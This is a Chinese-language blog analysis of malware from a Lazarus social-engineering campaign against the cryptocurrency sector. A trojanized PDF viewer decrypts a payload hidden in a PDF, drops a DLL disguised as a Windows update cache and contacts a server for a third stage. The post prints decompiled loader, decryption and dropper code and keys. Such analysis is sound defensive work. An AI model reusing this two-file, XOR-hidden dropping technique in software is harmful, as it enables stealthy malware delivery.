lazurs社工中使用的病毒分析

VSole2021-10-21 06:08:14

概述

2021年9月份,Lazurs被捕获到对加密货币行业进行社工攻击。攻击者通过即时聊天软件和目标沟通,并发送一个开源PDF查看软件Secure PDF Viewer.exe和一个PDF查看文件Android Hardware Wallet.pdf。单独的Secure PDF Viewer.exe无恶意行为,Android Hardware Wallet.pdf打开时,会显示

从而诱导用户使用Secure PDF Viewer.exe打开。当使用Secure PDF Viewer.exe打开Android Hardware Wallet.pdf时,会解密并加载其中的payload,释放恶意文件,执行恶意行为。

分析过程

Secure PDF Viewer.exe

通过GetOpenFileNameW交叉引用找到打开文件部分分析。

if ( GetOpenFileNameW(&v82) )
    {
      v57 = &v82.lpstrFile[v82.nFileOffset];
      v124 = 0;
      memset(v125, 0, sizeof(v125));
      Buffer = 0;
      memset(v127, 0, sizeof(v127));
      if ( (unsigned int)sub_140015EE0(v57) == 2 )
      {
        GetTempPathW(0x104u, &Buffer);
        wsprintfW(&v124, L"%s\\%s", &Buffer, v57);
      }
      else
      {
        v58 = v82.lpstrFile;
        v59 = (char *)&v124 - (char *)v82.lpstrFile;
        do
        {
          v60 = *v58++;
          *(LPWSTR)((char *)v58 + v59 - 2) = v60;
        }
        while ( v60 );
      }
      //...

查看sub_140015EE0

if ( *(_DWORD *)&fileContent[fileLen - 4] != 0x78563412 )
    return 0i64;
  v9 = Str;
  v10 = &fileContent[fileLen - 524];
  v11 = 4i64;
  do
  {
    v12 = *(_OWORD *)v10;
    v9 += 64;
    v10 += 128;
    *((_OWORD *)v9 - 8) = v12;
    *((_OWORD *)v9 - 7) = *((_OWORD *)v10 - 7);
    *((_OWORD *)v9 - 6) = *((_OWORD *)v10 - 6);
    *((_OWORD *)v9 - 5) = *((_OWORD *)v10 - 5);
    *((_OWORD *)v9 - 4) = *((_OWORD *)v10 - 4);
    *((_OWORD *)v9 - 3) = *((_OWORD *)v10 - 3);
    *((_OWORD *)v9 - 2) = *((_OWORD *)v10 - 2);
    *((_OWORD *)v9 - 1) = *((_OWORD *)v10 - 1);
    --v11;
  }
  while(v11);
    v13 = _mm_load_si128((const __m128i *)&xmmword_140541B50);
  *(_QWORD *)v9 = *(_QWORD *)v10;

判断文件是否以0x78563412结尾,恶意PDF恰好是这个特征

然后赋值。另外可执行文件和PDF文件需要在同一文件夹才会执行。

然后复制520个字节到缓冲区,执行以下解密动作

v14 = 0;
  v15 = 0i64;
  do
  {
    v14 += 16;
    *(__m128i *)((char *)Str + v15) = _mm_xor_si128(_mm_loadu_si128((const __m128i *)((char *)Str + v15)), v13);
    v15 = v14;
  }
  while ( (unsigned __int64)v14 < 0x200 );
  if ( (unsigned __int64)v14 < 0x208 )
  {
    v16 = (char *)Str + v14;
    do
    {
      *v16 ^= 0xE4u;
      ++v14;
      ++v16;
    }
    while ( (unsigned __int64)v14 < 0x208 );
  }

即每一个字节异或0xE4。解密结果为

CAST_decrypt|c39NEKJGxb6y7Bbt|0422

除此之外还有若干0

接下来的代码提取了三个参数

v17 = wcschr(Str, '|');
  if ( !v17 )
  {
    do
    {
      v18 = *(wchar_t *)((char *)Str + v1);
      v1 += 2i64;
    }
    while ( v18 );
    return 1i64;
  }
  wcsncpy(&arg1, Str, v17 - Str);
  *(&arg1 + v17 - Str) = 0;
  v19 = v17 + 1;
  if ( !v19 )
    return 1i64;
  v20 = wcschr(v19, 0x7Cu);
  v21 = v20;
  if ( !v20 )
  {
    v22 = (char *)((char *)&arg2 - (char *)v19);
    do
    {
      v23 = *v19++;
      *(_WORD *)&v22[(_QWORD)v19 - 2] = v23;
    }
    while ( v23 );
    return 1i64;
  }
  v24 = v20 - v19;
  wcsncpy(&arg2, v19, v24);
  *(&arg2 + v24) = 0;
  v25 = (char *)(v21 + 1);
  if ( v21 == (wchar_t *)-2i64 )
    return 1i64;
  v26 = wcschr(v21 + 1, 0x7Cu);
  if ( v26 )
  {
    v29 = ((char *)v26 - v25) >> 1;
    wcsncpy(&arg3, v21 + 1, v29);
    *(&arg3 + v29) = 0;
  }
  else
  {
    v27 = (char *)((char *)&arg3 - v25);
    do
    {
      v28 = *(_WORD *)v25;
      v25 += 2;
      *(_WORD *)&v27[(_QWORD)v25 - 2] = v28;
    }
    while ( v28 );
  }

获取另一部分payload大小并分配空间,将payload移动到临时空间

v30 = *(unsigned int *)&fileContent[fileLen_1 - 528];
  v31 = v30;
  v32 = (char *)LocalAlloc(0x40u, (unsigned int)v30);
  memset(v32, 0, (unsigned int)v30);
  v58 = &fileContent[fileLen_1 - v30];
  memmove(v32, v58 - 528, (unsigned int)v30);

解密

if ( (_DWORD)v30 )
  {
    if ( (unsigned int)v30 >= 0x10 )
    {
      do
      {
        v34 = v33;
        v33 += 16;
        *(__m128i *)&v32[v34] = _mm_xor_si128(_mm_loadu_si128((const __m128i *)&v32[v34]), v13);
      }
      while ( v33 < (unsigned __int64)((unsigned int)v30 - (v30 & 0xF)) );
    }
    if ( v33 < (unsigned int)v30 )
    {
      v35 = &v32[v33];
      v36 = (unsigned int)(v30 - v33);
      do
      {
        *v35++ ^= 0xE4u;
        --v36;
      }
      while ( v36 );
    }
  }

将文件写入

GetTempPathW(0x104u, &Buffer);
  wsprintfW(&Buffer, L"%s\\%s", &Buffer, filename1);
  DeleteFileW(&Buffer);
  v37 = CreateFileW(&Buffer, 0x40000000u, 4u, 0i64, 2u, 0x80u, 0i64);
  WriteFile(v37, v32, v30, &NumberOfBytesWritten, 0i64);
  CloseHandle(v37);

根据文件头得知,这里释放了一个诱饵PDF。

计算文件长度并解密文件

elf_len = *((unsigned int *)v58 - 133);
  v39 = LocalAlloc(0x40u, elf_len);
  memset(v39, 0, (unsigned int)elf_len);
  memmove(v39, &fileContent[fileLen_1 - elf_len - pdf_len - 532], (unsigned int)elf_len);
  v40 = 0;
  if ( (_DWORD)elf_len )
  {
    if ( (unsigned int)elf_len >= 0x10 )
    {
      do
      {
        v41 = v40;
        v40 += 16;
        *(__m128i *)((char *)v39 + v41) = _mm_xor_si128(_mm_loadu_si128((const __m128i *)((char *)v39 + v41)), v13);
      }
      while ( v40 < (unsigned int)elf_len - (elf_len & 0xF) );
    }
    if ( v40 < (unsigned int)elf_len )
    {
      v42 = &v39[v40 / 2u];
      v43 = (unsigned int)(elf_len - v40);
      do
      {
        *v42++ ^= 0xE4u;
        --v43;
      }
      while ( v43 );
    }
  }
  if ( *v39 == 'ZM' )
    v44 = (_QWORD *)sub_14000C510(v54, v39, v39);
  else
    v44 = 0i64;

解密出来的文件头为MZ,可执行文件

对sub_14000C510分析,发现是解析PE头,得到NT_OPTIONAL_HEADER

结合下面这段代码,知道是寻找arg1的参数

while ( stricmp(&arg1_1, (const char *)(v48 + *v50)) )
  {
    LODWORD(v1) = v1 + 1;
    ++v50;
    ++v51;
    if ( (unsigned int)v1 >= v49[6] )
      return 1i64;
  }

分析释放出来的dll,得到

while ( result );
  if ( !v8 )
  {
    result = 0;
    if ( strlen(a3) == 4 )
    {
      CreateDirectoryA("C:\\ProgramData\\WindowsUpdate", 0i64);
      sprintf(&CommandLine, Format, FileName, v15, v17, a3);
      sub_1800016D0(&CommandLine);
      sub_180001180(v14, v49, v49);
      sub_1800013E0(v14, &unk_18000F500, &unk_18000F500, 110080i64);
      v9 = CreateFileA(FileName, 0x40000000u, 2u, 0i64, 2u, 0x80u, 0i64);
      v10 = v9;
      if ( v9 != (HANDLE)-1i64 && WriteFile(v9, &unk_18000F500, 0x1AE00u, &NumberOfBytesWritten, 0i64) )
        CloseHandle(v10);
      result = CreateProcessA(
                 0i64,
                 &CommandLine,
                 0i64,
                 0i64,
                 0,
                 0x8000000u,
                 0i64,
                 0i64,
                 &StartupInfo,
                 &ProcessInformation);
      if ( result )
      {
        Sleep(0x64u);
        result = DeleteFileA(a1);
      }
    }
  }
  return result;

这里创建了一个进程

继续分析原EXE文件

将上面的参数转为bytes形式

do
    ++v45;
  while ( *(&arg1 + v45) );
  WideCharToMultiByte(0, 0x200u, &arg1, -1, &arg1_1, v45, 0i64, 0i64);
  v46 = -1i64;
  do
    ++v46;
  while ( *(&arg2 + v46) );
  WideCharToMultiByte(0, 0x200u, &arg2, -1, &arg2_1, v46, 0i64, 0i64);
  v47 = -1i64;
  do
    ++v47;
  while ( *(&arg3 + v47) );
  WideCharToMultiByte(0, 0x200u, &arg3, -1, &arg3_1, v47, 0i64, 0i64);

下面调用了一个dll,调用关系比较复杂,通过调试得到一个C:\ProgramData\WindowsUpdate\MSCache.cpl文件。

通过ProcessHacker拿到命令行

C:\\ProgramData\\WindowsUpdate\\MSCache.cpl,CAST_encrypt YV98lZjU0x4I55Ci 0422

第二阶段分析

使用IDA打开,结合对原可执行文件中sub_14000C510的分析,得知调用了CAST_encryptW

WideCharToMultiByte(0, 0x200u, &WideCharStr, -1, &MultiByteStr, -(int)v12 - 2, 0i64, 0i64);
    sub_1800038E0((unsigned __int8 *)Name);
    if ( !strncmp(Name, &MultiByteStr, 0x10ui64) )// 验证命令行参数
    {
      CreateMutexA(0i64, 0, Name);
      if ( GetLastError() == 183 )
        ExitProcess(0);
      strcpy((char *)v24, "tav!}C.mLq?d8a^$hCn/_A6US/5%#<=j");
      decrypt1((__int64)v18, v24, (int *)v24);
      decrypt2((__int64)v18, (__int64)&unk_1800104E0, (__int64)&unk_1800104E0, 0xB410ui64);
      v17[0] = 0x708A0;
      v15 = LocalAlloc(0x40u, 0x708A0ui64);
      sub_180001FE0((__int64)v15, v17);
      ((void (__fastcall *)(void *))sub_180001A30)(v15);
      FreeLibraryAndExitThread(hLibModule, 0);
    }

使用火绒剑分析,监听到网络通信。所以在网络通信API下断点,找到第三阶段payload。

进行了http通信和获取命令,目前相关目录已被删除,只剩windows服务器空壳。

总结

每次分析都可以学到好多东西,虽然总是出现卡壳的情况,但是经过搜索、各种尝试终于解决了问题,还是蛮有成就感的。

这种攻击方式非常巧妙,可以很容易地绕过安全软件等,因为单独的一个软件、一个文档都不是恶意的,单独的一个payload也没办法解密。只有两个文件在同一个电脑上,并且有人用软件打开PDF文档,攻击才会进行。因此应该培养人的信息安全意识,不随意打开未知文件和软件

charsub
本作品采用《CC 协议》,转载必须注明作者和本文链接
如果你不是 Java8 的钉子户,你应该早就发现了:String 类的源码已经由 char[] 优化为了 byte[] 来存储字符串内容,为什么要这样做呢? 开门见山地说,从 char[] 到 byte[],最主要的目的是为了节省字符串占用的内存 。内存占用减少带来的另外一个好处,就是 GC 次数也会减少。
这次分析了CVE-2012-3569 ovftool.exe中的格式化字符串漏洞。之前使用示例程序详细分析过应该怎样利用格式化字符串漏洞(参考资料2),而针对该漏洞,《漏洞战争》中并没有进行详细分析,因此我几乎是从头到尾按照自己的思路独立完成了这个漏洞的分析以及利用,其中漏洞利用部分又占据了比较大的篇幅,因此对于格式化字符串漏洞在实际中的利用方式有了更深刻的了解。
根据厂商的要求,在修补后的固件未发布前,我对该漏洞细节进行了保密。若读者将本文内容用作其他用途,由读者承担全部法律及连带责任,文章作者不承担任何法律及连带责任。此时,我们惊喜地发现xxx系列产品的xxx型号固件并没有被加密,可以成功解开。漏洞分析此部分以xxx固件为例进行分析,该固件是aarch64架构的。其他固件也许架构或部分字段的偏移不同,但均存在该漏洞。找到无鉴权的API接口显然,此类固件的cgi部分是用Lua所写的。
这次分析了CVE-2014-0502 Adobe Flash Player中的双重释放漏洞。文章的前半部分是Action Script代码的静态分析以及对于漏洞利用原理的一个初步分析,AS代码分析和书中内容重合,漏洞利用原理的初步分析涉及到了Adobe Flash Player的一些操作机制,通过搜索查看网上的资料完成了前半部分的内容。
在一次测试中,发现一个输入单引号触发页面报错,而输入两个单引号触发页面跳转拒绝访问的页面,比如:name=' -> Redirecting to /Error.aspx pagename='' -> Redirecting to /AccessDenied.aspx page. 当输入基数个单引号时,页面跳转 Error.aspx,当输入偶数个单引号时,页面跳转至 AccessDenied.aspx,由于网站服务器是 asp.net + iis 架构的,根据经验判断,后端服务器应该是 MSSQL。因为数据库的名称是字符串,而将字符串转换为数字型时会报错,而今天这个环境下测试时发现:'+convert+' -> Redirecting to /Error.aspx page'+convert+' -> Redirecting to /AccessDenied.aspx page
比赛的时候由于各种原因没有做出来,由于这道题需要unicorn的知识,对我本身而言是一个很好的学习机会,所以赛后进行了复现。
House of Cat5月份偶然发现的一种新型GLIBC中IO利用思路,目前适用于任何版本,命名为House of cat并出在2022强网杯中。但是需要攻击位于TLS的_pointer_chk_guard,并且远程可能需要爆破TLS偏移。并且house of cat在FSOP的情况下也是可行的,只需修改虚表指针的偏移来调用_IO_wfile_seekoff即可。vtable检查在glibc2.24以后加入了对虚函数的检测,在调用虚函数之前首先会检查虚函数地址的合法性。
关于堆喷堆喷射(Heap Spraying)是一种计算机安全攻击技术,它旨在在进程的堆中创建多个包含恶意负载的内存块。这种技术允许攻击者避免需要知道负载确切的内存地址,因为通过广泛地“喷射”堆,攻击者可以提高恶意负载被成功执行的机会。
概述在近期的“蔓灵花”攻击巴基斯坦活动中,攻击者仿冒OpenVPN安装包,制作了一款“TelecomVPN”或“PTAOpenVPN”。攻击者将恶意软件和OpenVPN安装包打包在一起,当用户执行OpenVPN后会先解密shell.exe和OpenVPN,再分别执行OpenVPN安装例程和shell.exe。主函数可以看到,首先在Music文件夹下创建power文件,然后写入数据。
VSole
网络安全专家